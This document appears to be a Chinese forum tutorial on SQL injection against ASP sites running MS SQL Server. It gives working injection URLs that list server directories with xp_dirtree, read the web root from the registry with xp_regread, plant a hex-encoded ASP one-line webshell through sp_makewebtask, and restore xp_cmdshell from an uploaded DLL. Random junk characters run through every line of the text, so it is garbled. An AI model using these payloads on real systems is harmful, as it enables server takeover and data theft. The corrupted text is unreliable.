好,我们exec master..xp_dirtree'd:/test' u# v3 x9 Q* o! W3 j
假设我们在test里有两个文件夹test1和test2在test1里又有test3
& [, t1 }, U9 w' B8 O: I* O' F: Z1 L" f4 i结果显示
D* C" o. B. q' E5 l# j4 ]) v8 q+ w9 J* M e4 \& Y6 P
subdirectory depth) o( J0 L, `0 S: W! E
test1 1
& }, a) p! C, O8 _. Ptest3 2% t- r: O* L$ _
test2 1
; P. M* _/ A+ p) C
9 d; m* z" x5 h( E# Y% p9 m哈哈发现没有那个depth就是目录的级数/ G) e" `3 F: R4 o! N
ok了,知道怎么办了吧
- }" r; f4 `: Y
' X2 X+ [* s$ bhttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- 3 |' R" A! `+ p6 }
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- " q3 I: ]2 b/ F% C. d1 z
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-4 t! O2 o7 u0 F- Q1 K
" Q- S7 G2 s, f. C( b只要加上id=1,就是第一级目录 。/ _" M8 {, Q% b# K6 Q/ V ]
+ c4 y0 h; K! x6 a4 u3 W8 v1 W% X# b! S$ ?: E. c: z% G3 [, o
通过注册表读网站路径:* @5 x- [8 e. Y. y" Y6 J
a0 V3 ?! L* \+ G3 s; a9 |) ?" `
1.;create table [dbo].[cyfd] ([gyfd][char](255));
8 o) y' z W$ k p n4 }" ^6 t$ w* ?" k( Y8 f" L9 N
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
& ~4 Q; o2 Z) U+ p: Cid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
+ N% ^7 J& K6 h4 v
3 \5 C1 c, b3 p/ v( e+ W3.and 1=(select count(*) from 临时表 where 临时字段名>1)
1 M" b" L; {/ h6 b7 W1 rand 1=(select count(*) from cyfd where gyfd > 1)
$ \; W, f3 R, _8 r3 {9 C" K5 X+ R这样IE报错,就把刚才插进去的Web路径的值报出来了
+ A2 c( h1 U* Z' c8 Y+ y* c* _$ N. ?3 @9 A" L* P b) a( Z
4.drop table cyfd;-- 删除临时表# K$ P/ c9 @$ u( J
0 a" o% h7 Z( J% f0 S5 \3 p$ ~获得webshell方法:1 @; i2 B5 O! E7 H! E
1.create table cmd (a image)-- \**cmd是创建的临时表
3 j- k6 u6 k1 f& D6 |- |9 C3 P2 i' M: N; e) y
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
( g" R3 U5 s2 d( x& ^! z2 J) ]" ~0 p: b. L1 P/ _
. d+ v' O& i* O3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
7 E7 g$ n: ^; bEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
8 C" T1 m1 l1 L/ x& p
# A/ R; r: D+ s0 O. u" N. x4.drop table cmd;-- 删除cmd临时表4 ]+ A4 `' V r; k Y+ k
8 n( j) e) s4 Q* H$ A
恢复xp_cmdshell方法之一:
9 c! T" D. `' V: ?" Z2 P F# ~' \我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:7 S4 I* Q* n8 x7 S( y: }: Z' y1 V
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'6 w2 ~* V9 V0 v0 L
恢复,支持绝对路径的恢复哦。:)
' [3 {+ U! }8 t6 P$ p, u3 _ |